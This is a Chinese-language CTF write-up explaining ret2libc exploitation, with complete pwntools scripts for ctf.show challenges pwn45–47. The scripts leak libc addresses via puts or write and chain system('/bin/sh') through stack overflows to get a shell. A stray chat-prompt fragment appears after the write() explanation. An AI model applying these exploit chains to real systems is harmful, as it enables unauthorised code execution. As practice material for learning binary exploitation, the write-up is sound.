ret2libc

前置基础

libc常用于处理动态链接程序,动态链接:程序在运行或加载时,在内存中完成链接的过程,即系统库和自己编写的代码分割成两个独立的模块,等到程序运行时再将这两个模块进行链接。详细介绍可以看指南摘要的动态链接部分

其具有延迟绑定的特点,只有当函数第一次被调用时,动态链接器才进行符号查找、重定位等操作,如果未被调用则不进行绑定

ELF文件通过过程链接表和GOT的配合来实现延迟绑定,每个被调用的库函数都有一组对应的PLT和GOT。(plt里存放的是汇编指令,用于跳转到got,got里存放了地址 )

工具指令

ROPgadget

获取gadget地址,--binary参数指定文件,可以是可执行文件或libc文件,grep用于筛选,--string用于筛选字符串

通过pop rdi;ret可以将栈地址中的值传给rdi寄存器,其他寄存器同理,故p64(pop_rdi_ret)+p64(rdi_content)即可控制rdi寄存器的值为rdi_content

1
2
3
4
5
$ROPgadget --binary pwn --only 'pop|ret' | grep 'rdi'	#控制寄存器的值
$ROPgadget --binary pwn --string '/bin/sh' #查找字符串
$ROPgadget --binary pwn --only 'leave|ret' | grep 'leave'#查找leave ret指令地址
$ROPgadget --binary pwn --ropchain #生成现成的rop利用链直接getshell,适用于静态编译的程序
$ROPgadget --binary pwn --only 'ret' #查找ret指令的地址

实操

pwn45

分析程序:

题目提示为无system无/bin/sh故可尝试ret2shellcode 或 ret2libc

1

开了nx,程序为动态链接(file中的dynamically linked),分析程序发现bss段没有可以用的变量,有栈溢出漏洞,有puts函数和write函数故可利用ret2libc进行攻击获取shell

首先第一次控制执行流利用write函数将其got表中的地址输入到输入流中,接着接收该地址将其先转换成整数,再转换为16进制地址供后续利用,函数实际地址=函数基地址+偏移,故获得了write函数的地址就相当于获得了函数的基地址

利用LibcSearcher根据已知的write函数地址搜索对应的libc库,利用libc.dump()获得函数的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import*
from LibcSearcher import*

io=remote('pwn.challenge.ctf.show',28217)

elf=ELF('./pwn')
main=elf.sym['main']
write_got=elf.got['write']
write_plt=elf.plt['write']


payload=b'a'*(0x6B+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)

io.recvuntil('O.o?')
io.sendline(payload)
write=u32(io.recvuntil('\xf7')[-4:])
#常规获取地址,recvuntil('\xf7')表示从标准输入中获取数据直到检测到'\xf7'地址结尾一般为这个,[-4:]表示从接收末尾4个字节的内容u32()将获取的内容转为整数形式
print(hex(write))
#将整数转为16进制形式
libc=LibcSearcher('write',write)
#搜索对应的glibc版本
libc_base=write-libc.dump('write')
#获取基地址
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')

payload1=b'a'*(0x6B+4)+p32(system)+p32(0)+p32(bin_sh)
io.sendline(payload1)

io.recv()
io.interactive()

write 函数的原型

1
2
#include <unistd.h>
ssize_t write(int fd, const void *buf, size_t count);
  • 头文件: unistd.h 是包含 write 函数声明的头文件。

  • 返回类型: ssize_t 是一个有符号整数类型,通常用于表示字节数或错误码。

  • 参数

    1.fd: 文件描述符(File Descriptor),表示要写入的目标文件或流。常见的文件描述符包括:

    • 0: 标准输入(stdin)
    • 1: 标准输出(stdout)
    • 2: 标准错误(stderr) 其他正整数值通常是通过打开文件时由系统分配的。例如,通过 open()creat()pipe()等函数获取的文件描述符。

    2.buf: 指向要写入数据的缓冲区的指针。这个缓冲区包含了将要写入到目标位置的数据。可以是任何类型的数据,但通常是字符串或其他二进制数据。

    3.count: 要写入的字节数。即从缓冲区中读取并写入目标位置的字节数。如果指定的字节数超过了缓冲区的实际大小,可能会导致未定义行为或部分数据丢失。

  • 返回值: 成功时返回实际写入的字节数;失败时返回 -1,并设置相应的错误码(如 errno)。需要注意的是,即使成功了也不一定保证所有请求的字节都被写入了,特别是在非阻塞模式下或者遇到信号中断的情况下可能只写了部分数据。在这种情况下需要检查返回值并与预期的字节数进行比较以决定是否需要重试操作直到全部完成为止;user:详细讲讲python中的write方法

puts版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import*
from LibcSearcher import*

io=remote('pwn.challenge.ctf.show',28217)

elf=ELF('./pwn')
main=elf.sym['main']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']


payload=b'a'*(0x6B+4)+p32(puts_plt)+p32(main)+p32(puts_got)

io.recvuntil('O.o?')
io.sendline(payload)
puts=u32(io.recvuntil('\xf7')[-4:])
print(hex(puts))
libc=LibcSearcher('puts',puts)

libc_base=puts-libc.dump('puts')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')

payload1=b'a'*(0x6B+4)+p32(system)+p32(0)+p32(bin_sh)
io.sendline(payload1)

io.recv()
io.interactive()

pwn46

该题于上一题类似只是换成了64位程序,传参方式改变接收地址的形式也有所变化

64位传参寄存器:rdi,rsi,rdx,rcx,r8,r9

puts版:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import*
from LibcSearcher import*
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=remote('pwn.challenge.ctf.show',28276)

elf=ELF('./pwn')
vuln=elf.symbols['ctfshow']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi_ret=0x400803
ret=0x4004fe
payload=b'a'*(0x70+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln)

io.sendline(payload)
puts=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#这段代码的作用是从输入流中读取数据,直到遇到字节 \x7f,然后提取最后6个字节,并用 \x00 填充到8个字节的长度。最终的结果是一个长度为8的字节串。
print(hex(puts))
libc=LibcSearcher('puts',puts)

libc_base=puts-libc.dump('puts')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')

payload1=b'a'*(0x70+8)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)
io.sendline(payload1)


io.interactive()

write版:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import*
from LibcSearcher import*
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28218)
elf=ELF('./pwn')
write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']
pop_rdi=0x400803
pop_rsi_r15=0x400801
#在搜索pop_rsi时只有pop_rsi_r15故后续需要给r15一个任意值
payload = cyclic(0x70+8)+p64(pop_rdi)+p64(1)
payload += p64(pop_rsi_r15)+p64(write_got)+p64(0)#垃圾数据0填入r15保证程序正常运行
payload += p64(write_plt)
payload += p64(main)

io.sendlineafter("O.o?",payload)
write=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(write))

libc = LibcSearcher('write',write)
libc_base = write-libc.dump('write')
system = libc_base+libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload=cyclic(0x70+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)
io.sendlineafter("O.o?",payload)

io.interactive()

pwn47

程序中已给出多个地址,接收即可、

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*
from LibcSearcher import*
io=remote('pwn.challenge.ctf.show',28215)
elf=ELF('./pwn')
io.recvuntil("puts: ")
puts = eval(io.recvuntil("\n",drop = True))
#drop = True表示不接收检测字符"\n",recvuntil("\n")表示接收字符直到检测到"\n"为止
io.recvuntil("gift: ")
bin_sh = eval(io.recvuntil("\n",drop = True))

libc = LibcSearcher("puts",puts)
libc_base = puts-libc.dump("puts")
system = libc_base+libc.dump("system")
payload = b'a'*(0x9c+4)+p32(system)+p32(0)+p32(bin_sh)
io.sendline(payload)

io.interactive()